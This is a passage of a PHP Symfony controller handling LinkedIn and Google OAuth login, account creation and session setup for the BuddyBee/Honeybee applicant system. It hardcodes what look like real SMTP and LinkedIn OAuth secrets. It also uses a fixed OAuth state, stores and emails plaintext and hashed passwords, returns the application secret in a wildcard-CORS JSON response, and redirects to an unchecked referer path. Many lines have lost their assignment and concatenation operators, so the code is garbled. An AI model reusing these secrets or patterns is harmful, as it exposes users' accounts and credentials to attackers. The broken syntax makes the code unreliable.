  6051. //            CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress',
  6052.                     CURLOPT_USERAGENT => 'InnoPM',
  6053.                     CURLOPT_HTTPGET => 1,
  6054.                     CURLOPT_HTTPHEADER => array(
  6055.                         'Authorization: Bearer ' $token,
  6056.                         'Header-Key-2: Header-Value-2'
  6057.                     )
  6058.                 ));
  6059.                 $userEmailcontent curl_exec($curl);
  6060.                 curl_close($curl);
  6061.                 $token false;
  6062.                 if ($userEmailcontent) {
  6063.                     $userEmailcontent json_decode($userEmailcontenttrue);
  6064.                 }
  6065. //        $oAuthEmail = $applicantInfo['email'];
  6066. //        return new JsonResponse(array(
  6067. //          'userEmailcontent'=>$userEmailcontent,
  6068. //          'userGeneralcontent'=>$userGeneralcontent,
  6069. //        ));
  6070. //        return new response($userGeneralcontent);
  6071.                 $oAuthData = [
  6072.                     'email' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  6073.                     'uniqueId' => $userGeneralcontent['id'],
  6074.                     'image' => $userGeneralcontent['profilePicture']['displayImage~']['elements'][0]['identifiers'][0]['identifier'],
  6075.                     'emailVerified' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  6076.                     'name' => $userGeneralcontent['localizedFirstName'] . ' ' $userGeneralcontent['localizedLastName'],
  6077.                     'firstName' => $userGeneralcontent['localizedFirstName'],
  6078.                     'lastName' => $userGeneralcontent['localizedLastName'],
  6079.                     'type' => 1,
  6080.                     'token' => $token,
  6081.                 ];
  6082.             }
  6083.         } else if (isset($_GET["code"])) {
  6084.             $token $google_client->fetchAccessTokenWithAuthCode($_GET["code"]);
  6085.             if (!isset($token['error'])) {
  6086.                 $google_client->setAccessToken($token['access_token']);
  6087.                 $google_service = new Google_Service_Oauth2($google_client);
  6088.                 $applicantInfo $google_service->userinfo->get();
  6089.                 $oAuthEmail $applicantInfo['email'];
  6090.                 $oAuthData = [
  6091.                     'email' => $applicantInfo['email'],
  6092.                     'uniqueId' => $applicantInfo['id'],
  6093.                     'image' => $applicantInfo['picture'],
  6094.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  6095.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  6096.                     'firstName' => $applicantInfo['givenName'],
  6097.                     'lastName' => $applicantInfo['familyName'],
  6098.                     'type' => $token['token_type'],
  6099.                     'token' => $token['access_token'],
  6100.                 ];
  6101.             }
  6102.         }
  6103.         if ($oAuthData['email'] != '' || $oAuthData['uniqueId'] != '') {
  6104.             $isApplicantExist $applicantRepo->findOneBy([
  6105.                 'email' => $oAuthData['email']
  6106.             ]);
  6107.             if (!$isApplicantExist && $oAuthData['uniqueId'] != '') {
  6108.                 $isApplicantExist $applicantRepo->findOneBy([
  6109.                     'oAuthUniqueId' => $oAuthData['uniqueId']
  6110.                 ]);
  6111.             }
  6112.             if ($isApplicantExist) {
  6113.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6114.                 } else
  6115.                     return $this->redirectToRoute("core_login", [
  6116.                         'id' => $isApplicantExist->getApplicantId(),
  6117.                         'oAuthData' => $oAuthData,
  6118.                         'encData' => $encData,
  6119.                         'locale' => $request->request->get('locale''en'),
  6120.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  6121.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  6122.                     ]);
  6123.             } else {
  6124.                 $fname $oAuthData['firstName'];
  6125.                 $lname $oAuthData['lastName'];
  6126.                 $img $oAuthData['image'];
  6127.                 $email $oAuthData['email'];
  6128.                 $oAuthEmail $oAuthData['email'];
  6129.                 $userName explode('@'$email)[0];
  6130.                 //now check if same username exists
  6131.                 $username_already_exist 1;
  6132.                 $initial_user_name $userName;
  6133.                 $timeoutSafeCount 10;//only 10 timeout for safety if this fails just add the unix timestamp to make it unique
  6134.                 while ($username_already_exist == && $timeoutSafeCount 0) {
  6135.                     $isUsernameExist $applicantRepo->findOneBy([
  6136.                         'username' => $userName
  6137.                     ]);
  6138.                     if ($isUsernameExist) {
  6139.                         $username_already_exist 1;
  6140.                         $userName $initial_user_name '' rand(3009987);
  6141.                     } else {
  6142.                         $username_already_exist 0;
  6143.                     }
  6144.                     $timeoutSafeCount--;
  6145.                 }
  6146.                 if ($timeoutSafeCount == && $username_already_exist == 1) {
  6147.                     $currentUnixTimeStamp '';
  6148.                     $currentUnixTime = new \DateTime();
  6149.                     $currentUnixTimeStamp $currentUnixTime->format('U');
  6150.                     $userName $userName '' $currentUnixTimeStamp;
  6151.                 }
  6152.                 $characters '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  6153.                 $charactersLength strlen($characters);
  6154.                 $length 8;
  6155.                 $password 0;
  6156.                 for ($i 0$i $length$i++) {
  6157.                     $password .= $characters[rand(0$charactersLength 1)];
  6158.                 }
  6159.                 $newApplicant = new EntityApplicantDetails();
  6160.                 $newApplicant->setActualRegistrationAt(new \DateTime());
  6161.                 $newApplicant->setEmail($email);
  6162.                 $newApplicant->setUserName($userName);
  6163.                 $newApplicant->setFirstname($fname);
  6164.                 $newApplicant->setLastname($lname);
  6165.                 $newApplicant->setOAuthEmail($oAuthEmail);
  6166.                 $newApplicant->setIsEmailVerified(isset($oAuthData['emailVerified']) ? ($oAuthData['emailVerified'] != '' 0) : 0);
  6167.                 $newApplicant->setOauthUniqueId($oAuthData['uniqueId']);
  6168.                 $newApplicant->setAccountStatus(1);
  6169.                 //salt will be username
  6170. //                $this->container->get('sha256salted_encoder')->isPasswordValid($user->getPassword(), $request->request->get('password'), $user->getSalt())
  6171.                 $salt uniqid(mt_rand());
  6172.                 $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($password$salt);
  6173.                 $newApplicant->setPassword($encodedPassword);
  6174.                 $newApplicant->setSalt($salt);
  6175.                 $newApplicant->setTempPassword($password);
  6176. //                $newApplicant->setPassword($password);
  6177.                 $marker $userName '-' time();
  6178. //                $extension_here=$uploadedFile->guessExtension();
  6179. //                $fileName = md5(uniqid()) . '.' . $uploadedFile->guessExtension();
  6180. //                $path = $fileName;
  6181.                 $upl_dir $this->container->getParameter('kernel.root_dir') . '/../web/uploads/applicants';
  6182.                 if (!file_exists($upl_dir)) {
  6183.                     mkdir($upl_dir0777true);
  6184.                 }
  6185.                 $ch curl_init($img);
  6186.                 $fp fopen($upl_dir '/' $marker '.jiff''wb');
  6187.                 curl_setopt($chCURLOPT_FILE$fp);
  6188.                 curl_setopt($chCURLOPT_HEADER0);
  6189.                 curl_exec($ch);
  6190.                 curl_close($ch);
  6191.                 fclose($fp);
  6192.                 $newApplicant->setImage('/uploads/applicants/' $marker '.jiff');
  6193. //                $newApplicant->setImage($img);
  6194.                 $newApplicant->setIsConsultant(0);
  6195.                 $newApplicant->setIsTemporaryEntry(0);
  6196.                 $newApplicant->setApplyForConsultant(0);
  6197.                 $newApplicant->setTriggerResetPassword(0);
  6198.                 $em->persist($newApplicant);
  6199.                 $em->flush();
  6200.                 $isApplicantExist $newApplicant;
  6201.                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  6202.                     if ($systemType == '_BUDDYBEE_') {
  6203.                         $bodyHtml '';
  6204.                         $bodyTemplate '@Application/email/templates/buddybeeRegistrationComplete.html.twig';
  6205.                         $bodyData = array(
  6206.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  6207.                             'email' => $userName,
  6208.                             'showPassword' => $newApplicant->getTempPassword() != '' 0,
  6209.                             'password' => $newApplicant->getTempPassword(),
  6210.                         );
  6211.                         $attachments = [];
  6212.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  6213. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  6214.                         $new_mail $this->get('mail_module');
  6215.                         $new_mail->sendMyMail(array(
  6216.                             'senderHash' => '_CUSTOM_',
  6217.                             //                        'senderHash'=>'_CUSTOM_',
  6218.                             'forwardToMailAddress' => $forwardToMailAddress,
  6219.                             'subject' => 'Welcome to BuddyBee ',
  6220. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  6221.                             'attachments' => $attachments,
  6222.                             'toAddress' => $forwardToMailAddress,
  6223.                             'fromAddress' => 'registration@buddybee.eu',
  6224.                             'userName' => 'registration@buddybee.eu',
  6225.                             'password' => 'Y41dh8g0112',
  6226.                             'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  6227.                             'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  6228.                             'encryptionMethod' => 'ssl',
  6229. //                            'emailBody' => $bodyHtml,
  6230.                             'mailTemplate' => $bodyTemplate,
  6231.                             'templateData' => $bodyData,
  6232. //                        'embedCompanyImage' => 1,
  6233. //                        'companyId' => $companyId,
  6234. //                        'companyImagePath' => $company_data->getImage()
  6235.                         ));
  6236.                     } else {
  6237.                         $bodyHtml '';
  6238.                         $bodyTemplate '@Application/email/user/applicant_login.html.twig';
  6239.                         $bodyData = array(
  6240.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  6241.                             'email' => 'APP-' $userName,
  6242.                             'password' => $newApplicant->getPassword(),
  6243.                         );
  6244.                         $attachments = [];
  6245.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  6246. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  6247.                         $new_mail $this->get('mail_module');
  6248.                         $new_mail->sendMyMail(array(
  6249.                             'senderHash' => '_CUSTOM_',
  6250.                             //                        'senderHash'=>'_CUSTOM_',
  6251.                             'forwardToMailAddress' => $forwardToMailAddress,
  6252.                             'subject' => 'Applicant Registration on Honeybee',
  6253. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  6254.                             'attachments' => $attachments,
  6255.                             'toAddress' => $forwardToMailAddress,
  6256.                             'fromAddress' => 'accounts@ourhoneybee.eu',
  6257.                             'userName' => 'accounts@ourhoneybee.eu',
  6258.                             'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  6259.                             'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  6260.                             'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  6261.                             'encryptionMethod' => 'ssl',
  6262. //                            'emailBody' => $bodyHtml,
  6263.                             'mailTemplate' => $bodyTemplate,
  6264.                             'templateData' => $bodyData,
  6265. //                        'embedCompanyImage' => 1,
  6266. //                        'companyId' => $companyId,
  6267. //                        'companyImagePath' => $company_data->getImage()
  6268.                         ));
  6269.                     }
  6270.                 }
  6271.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6272.                 } else {
  6273.                     return $this->redirectToRoute("core_login", [
  6274.                         'id' => $newApplicant->getApplicantId(),
  6275.                         'oAuthData' => $oAuthData,
  6276.                         'encData' => $encData,
  6277.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  6278.                         'locale' => $request->request->get('locale''en'),
  6279.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  6280.                     ]);
  6281.                 }
  6282.             }
  6283.         }
  6284.         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6285.             if ($isApplicantExist) {
  6286.                 $user $isApplicantExist;
  6287.                 $userType UserConstants::USER_TYPE_APPLICANT;
  6288.                 if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  6289.                     $session->set(UserConstants::USER_ID$user->getApplicantId());
  6290.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  6291.                     $session->set(UserConstants::IS_CONSULTANT$user->getIsConsultant() == 0);
  6292.                     $session->set('BUDDYBEE_BALANCE'$user->getAccountBalance());
  6293.                     $session->set('BUDDYBEE_COIN_BALANCE'$user->getSessionCountBalance());
  6294.                     $session->set(UserConstants::IS_BUDDYBEE_RETAILER$user->getIsRetailer() == 0);
  6295.                     $session->set(UserConstants::BUDDYBEE_RETAILER_LEVEL$user->getRetailerLevel() == 0);
  6296.                     $session->set(UserConstants::BUDDYBEE_ADMIN_LEVEL$user->getIsAdmin() == : ($user->getIsModerator() == 0));
  6297.                     $session->set(UserConstants::IS_BUDDYBEE_MODERATOR$user->getIsModerator() == 0);
  6298.                     $session->set(UserConstants::IS_BUDDYBEE_ADMIN$user->getIsAdmin() == 0);
  6299.                     // $session->set(UserConstants::SUPPLIER_ID, $user->getSupplierId());
  6300.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_APPLICANT);
  6301.                     $session->set(UserConstants::USER_EMAIL$user->getOauthEmail());
  6302.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  6303.                     $session->set(UserConstants::USER_NAME$user->getFirstName() . ' ' $user->getLastName());
  6304.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  6305.                     $session->set(UserConstants::USER_COMPANY_ID1);
  6306.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode([]));
  6307.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode([]));
  6308.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  6309.                     $session->set('userCompanyDarkVibrantList'json_encode([]));
  6310.                     $session->set('userCompanyVibrantList'json_encode([]));
  6311.                     $session->set('userCompanyLightVibrantList'json_encode([]));
  6312.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  6313.                     $session->set(UserConstants::USER_APP_ID0);
  6314.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  6315.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  6316.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  6317.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  6318.                     $session->set(UserConstants::USER_GOC_ID0);
  6319.                     $session->set(UserConstants::USER_DB_NAME'');
  6320.                     $session->set(UserConstants::USER_DB_USER'');
  6321.                     $session->set(UserConstants::USER_DB_PASS'');
  6322.                     $session->set(UserConstants::USER_DB_HOST'');
  6323.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE'');
  6324.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  6325.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  6326.                     $session->set('oAuthToken'$request->request->get('oAuthToken'''));
  6327.                     $session->set('locale'$request->request->get('locale'''));
  6328.                     $session->set('firebaseToken'$request->request->get('firebaseToken'''));
  6329.                     $route_list_array = [];
  6330.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  6331.                     $loginID 0;
  6332.                     $loginID MiscActions::addEntityUserLoginLog(
  6333.                         $em,
  6334.                         $session->get(UserConstants::USER_ID),
  6335.                         $session->get(UserConstants::USER_ID),
  6336.                         1,
  6337.                         $request->server->get("REMOTE_ADDR"),
  6338.                         0,
  6339.                         $request->request->get('deviceId'''),
  6340.                         $request->request->get('oAuthToken'''),
  6341.                         $request->request->get('oAuthType'''),
  6342.                         $request->request->get('locale'''),
  6343.                         $request->request->get('firebaseToken''')
  6344.                     );
  6345.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  6346.                     $session_data = array(
  6347.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  6348.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  6349.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  6350.                         'oAuthToken' => $session->get('oAuthToken'),
  6351.                         'locale' => $session->get('locale'),
  6352.                         'firebaseToken' => $session->get('firebaseToken'),
  6353.                         'token' => $session->get('token'),
  6354.                         'firstLogin' => 0,
  6355.                         'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  6356.                         'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  6357.                         UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  6358.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  6359.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  6360.                         UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  6361.                         UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  6362.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  6363.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  6364.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  6365.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  6366.                         'oAuthImage' => $session->get('oAuthImage'),
  6367.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  6368.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  6369.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  6370.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  6371.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  6372.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  6373.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  6374.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  6375.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  6376.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  6377.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  6378.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  6379.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  6380.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  6381.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  6382.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  6383.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  6384.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  6385.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  6386.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  6387.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  6388.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  6389.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  6390.                         //new
  6391.                         'appIdList' => $session->get('appIdList'),
  6392.                         'branchIdList' => $session->get('branchIdList'null),
  6393.                         'branchId' => $session->get('branchId'null),
  6394.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  6395.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  6396.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  6397.                     );
  6398.                     $session_data $this->filterClientSessionData($session_data);
  6399.                     $tokenData MiscActions::CreateTokenFromSessionData($em$session_data);
  6400.                     $session_data $tokenData['sessionData'];
  6401.                     $token $tokenData['token'];
  6402.                     $session->set('token'$token);
  6403.                     if ($request->request->get('remoteVerify'0) == || $request->query->get('remoteVerify'0) == 1) {
  6404.                         $session->set('remoteVerified'1);
  6405.                         $response = new JsonResponse(array(
  6406.                             'token' => $token,
  6407.                             'uid' => $session->get(UserConstants::USER_ID),
  6408.                             'session' => $session,
  6409.                             'success' => true,
  6410.                             'session_data' => $session_data,
  6411.                         ));
  6412.                         $response->headers->set('Access-Control-Allow-Origin''*');
  6413.                         return $response;
  6414.                     }
  6415.                     if ($request->request->has('referer_path')) {
  6416.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  6417.                             return $this->redirect($request->request->get('referer_path'));
  6418.                         }
  6419.                     }
  6420.                     $redirectRoute 'applicant_dashboard';
  6421.                     if ($request->query->has('encData')) {
  6422.                         if ($request->query->get('encData') == '8917922')
  6423.                             $redirectRoute 'apply_for_consultant';
  6424.                     }
  6425.                     return $this->redirectToRoute($redirectRoute);
  6426.                 }
  6427. //                    $response = new JsonResponse(array(
  6428. //                        'token' => $token,
  6429. //                        'uid' => $session->get(UserConstants::USER_ID),
  6430. //                        'session' => $session,
  6431. //
  6432. //                        'success' => true,
  6433. //                        'session_data' => $session_data,
  6434. //
  6435. //                    ));
  6436. //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  6437. //                    return $response;
  6438. //                    return $this->redirectToRoute("user_login", [
  6439. //                        'id' => $isApplicantExist->getApplicantId(),
  6440. //                        'oAuthData' => $oAuthData,
  6441. //                        'encData' => $encData,
  6442. //                        'locale' => $request->request->get('locale', 'en'),
  6443. //                        'remoteVerify' => $request->request->get('remoteVerify', 0),
  6444. //                        'firebaseToken' => $request->request->get('firebaseToken', ''),
  6445. //                    ]);
  6446.             }
  6447.         }
  6448. //        if ($request->isMethod('POST')){
  6449. //            $new = new EntityApplicantDetails();
  6450. //
  6451. //            $new-> setUsername->$request->request->get('userName');
  6452. //            $new-> setEmail()->$request->request->get('email');
  6453. //            $new-> setPassword()->$request->request->get('password');
  6454. //            $new-> setSelector()->$request->request->get('selector');
  6455. //
  6456. //
  6457. //            $em->persist($new);
  6458. //            $em->flush();
  6459. //        }
  6460.         $selector BuddybeeConstant::$selector;
  6461.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  6462.         $twig_file '@Authentication/pages/views/applicant_login.html.twig';
  6463.         if ($systemType == '_ERP_') {
  6464.         } else if ($systemType == '_BUDDYBEE_') {
  6465.             return $this->render(
  6466.                 '@Authentication/pages/views/applicant_login.html.twig',
  6467.                 [
  6468.                     'page_title' => 'BuddyBee Login',
  6469.                     'oAuthLink' => $google_client->createAuthUrl(),
  6470.                     'redirect_url' => $url,
  6471.                     'message' => $message,
  6472.                     'errorField' => $errorField,
  6473.                     'encData' => $encData,
  6474.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  6475.                     'selector' => $selector
  6476.                 ]
  6477.             );
  6478.         }
  6479.         return $this->render(
  6480.             '@Authentication/pages/views/applicant_login.html.twig',
  6481.             [
  6482.                 'page_title' => 'Applicant Registration',
  6483.                 'oAuthLink' => $google_client->createAuthUrl(),
  6484.                 'redirect_url' => $url,
  6485.                 'encData' => $encData,
  6486.                 'message' => $message,
  6487.                 'errorField' => $errorField,
  6488.                 'state' => 'DCEeFWf45A53sdfKeSS424',
  6489.                 'selector' => $selector
  6490.             ]
  6491.         );
  6492.     }
  6493.     public function centralLoginAction(Request $request$encData ''$remoteVerify 0)
  6494.     {
  6495.         $session $request->getSession();
  6496.         $email $request->getSession()->get('userEmail');
  6497.         $sessionUserId $request->getSession()->get('userId');
  6498.         $oAuthData = [];
  6499. //    $encData='';
  6500.         $em $this->getDoctrine()->getManager('company_group');
  6501.         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  6502.         $redirectRoute 'dashboard';
  6503.         if ($encData != '') {
  6504.             if ($encData == '8917922')
  6505.                 $redirectRoute 'apply_for_consultant';
  6506.         }
  6507.         if ($request->query->has('encData')) {
  6508.             $encData $request->query->get('encData');
  6509.             if ($encData == '8917922')
  6510.                 $redirectRoute 'apply_for_consultant';
  6511.         }
  6512.         $message '';
  6513.         $errorField '_NONE_';
  6514.         if ($request->query->has('message')) {
  6515.             $message $request->query->get('message');
  6516.         }
  6517.         if ($request->query->has('errorField')) {
  6518.             $errorField $request->query->get('errorField');
  6519.         }
  6520.         if ($request->request->has('oAuthData')) {
  6521.             $oAuthData $request->request->get('oAuthData', []);
  6522.         } else {
  6523.             $oAuthData = [
  6524.                 'email' => $request->request->get('email'''),
  6525.                 'uniqueId' => $request->request->get('uniqueId'''),
  6526.                 'oAuthHash' => '_NONE_',
  6527.                 'image' => $request->request->get('image'''),
  6528.                 'emailVerified' => $request->request->get('emailVerified'''),
  6529.                 'name' => $request->request->get('name'''),
  6530.                 'firstName' => $request->request->get('firstName'''),
  6531.                 'lastName' => $request->request->get('lastName'''),
  6532.                 'type' => 1,
  6533.                 'token' => $request->request->get('oAuthtoken'''),
  6534.             ];
  6535.         }
  6536.         $isApplicantExist null;
  6537.         if ($email) {
  6538.             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6539.                 $isApplicantExist $applicantRepo->findOneBy([
  6540.                     'applicantId' => $sessionUserId
  6541.                 ]);
  6542.             } else
  6543.                 return $this->redirectToRoute($redirectRoute);
  6544.         }
  6545.         $google_client = new Google_Client();
  6546. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  6547. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  6548.         if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  6549.             $url $this->generateUrl('user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL);
  6550.         } else {
  6551.             $url $this->generateUrl(
  6552.                 'user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL
  6553.             );
  6554.         }
  6555.         $selector BuddybeeConstant::$selector;
  6556.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  6557.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  6558. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  6559. //        $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  6560.         $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  6561. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  6562.         $google_client->setRedirectUri($url);
  6563.         $google_client->setAccessType('offline');        // offline access
  6564.         $google_client->setIncludeGrantedScopes(true);   // incremental auth
  6565.         $google_client->addScope('email');
  6566.         $google_client->addScope('profile');
  6567.         $google_client->addScope('openid');
  6568. //    $google_client->setRedirectUri('http://localhost/applicant_login');
  6569.         //linked in 1st
  6570.         if (isset($_GET["code"]) && isset($_GET["state"])) {
  6571.             $curl curl_init();
  6572.             curl_setopt_array($curl, array(
  6573.                 CURLOPT_RETURNTRANSFER => true,   // return web page
  6574.                 CURLOPT_HEADER => false,  // don't return headers
  6575.                 CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6576.                 CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6577.                 CURLOPT_ENCODING => "",     // handle compressed
  6578.                 CURLOPT_USERAGENT => "test"// name of client
  6579.                 CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6580.                 CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6581.                 CURLOPT_TIMEOUT => 120,    // time-out on response
  6582.                 CURLOPT_URL => 'https://www.linkedin.com/oauth/v2/accessToken',
  6583.                 CURLOPT_USERAGENT => 'InnoPM',
  6584.                 CURLOPT_POSTFIELDS => urldecode("grant_type=authorization_code&code=" $_GET["code"] . "&redirect_uri=$url&client_id=86wi39zpo46wsl&client_secret=X59ktZnreWPomqIe"),
  6585.                 CURLOPT_POST => 1,
  6586.                 CURLOPT_HTTPHEADER => array(
  6587.                     'Content-Type: application/x-www-form-urlencoded'
  6588.                 )
  6589.             ));
  6590.             $content curl_exec($curl);
  6591.             $contentArray = [];
  6592.             curl_close($curl);
  6593.             $token false;
  6594. //      return new JsonResponse(array(
  6595. //          'content'=>$content,
  6596. //          'contentArray'=>json_decode($content,true),
  6597. //
  6598. //      ));
  6599.             if ($content) {
  6600.                 $contentArray json_decode($contenttrue);
  6601.                 $token $contentArray['access_token'];
  6602.             }
  6603.             if ($token) {
  6604.                 $applicantInfo = [];
  6605.                 $curl curl_init();
  6606.                 curl_setopt_array($curl, array(
  6607.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  6608.                     CURLOPT_HEADER => false,  // don't return headers
  6609.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6610.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6611.                     CURLOPT_ENCODING => "",     // handle compressed
  6612.                     CURLOPT_USERAGENT => "test"// name of client
  6613.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6614.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6615.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  6616.                     CURLOPT_URL => 'https://api.linkedin.com/v2/me?projection=(id,localizedFirstName,localizedLastName,firstName,lastName,profilePicture(displayImage~:playableStreams))',
  6617.                     CURLOPT_USERAGENT => 'InnoPM',
  6618.                     CURLOPT_HTTPGET => 1,
